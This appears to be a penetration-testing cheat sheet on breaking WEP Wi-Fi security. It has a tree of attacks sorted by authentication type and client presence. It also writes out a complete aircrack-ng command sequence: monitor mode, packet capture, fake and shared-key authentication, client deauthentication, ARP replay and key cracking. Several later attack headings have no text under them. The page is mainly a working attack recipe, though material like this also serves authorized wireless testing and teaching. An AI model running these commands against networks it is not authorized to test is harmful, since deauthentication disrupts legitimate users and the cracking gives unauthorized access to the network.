Attacking WEP
WEP
├── AUTH = OPN
│ ├── With client
│ │ ├── # ARP Request Replay Attack
│ │ ├── # Fragmentation Attack
│ │ ├── # Korek Chop Chop Attack
│ │ ├── # Interactive Packet Replay Attack
│ │ ├── # Cafe Latte Attack
│ │ └── # Deauthentication Attack
│ └── Without client
│ └── # Fake Authentication
│ ├── → Fragmentation Attack → ARP Request Replay Attack
│ └── → Korek ChopChop Attack → ARP Request Replay Attack
└── AUTH = SKA
└── With client (required)
├── # Deauthentication Attack (capture SKA keystream)
├── # Fake Shared Key Authentication (replay captured keystream)
└── # ARP Request Replay Attack (generate IVs)Bypassing WEP Shared Key Authentication
# AUTH = SKA
# Start monitor mode
airmon-ng start <INTERFACE>
# Packet capture
airodump-ng -w <CAPTURE_NAME> -c <CHANNEL> --bssid <BSSID> <INTERFACE>
# Get your MAC address
macchanger --show <INTERFACE>
# Fake authentication attack (It should failed)
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> <INTERFACE>
# Deauthentication attack (If there is a client)
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> <INTERFACE>
# Fake shared key authentication using the XOR keystream
aireplay-ng -1 60 -e <ESSID> -y wepshared-<NAME>.xor -a <BSSID> -h <YOUR_MAC> <INTERFACE>
# ARP replay attack
aireplay-ng -3 -b <BSSID> -h <YOUR_MAC> <INTERFACE>
# Deauthentication attack (If there is a client)
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> <INTERFACE>
# Crack
aircrack-ng <CAPTURE_NAME>ARP Request Replay Attack
Fragmentation Attack
Korek Chop Chop Attack
The Cafe Latte Attack
Attacking WEP Access Points Without Clients
Last updated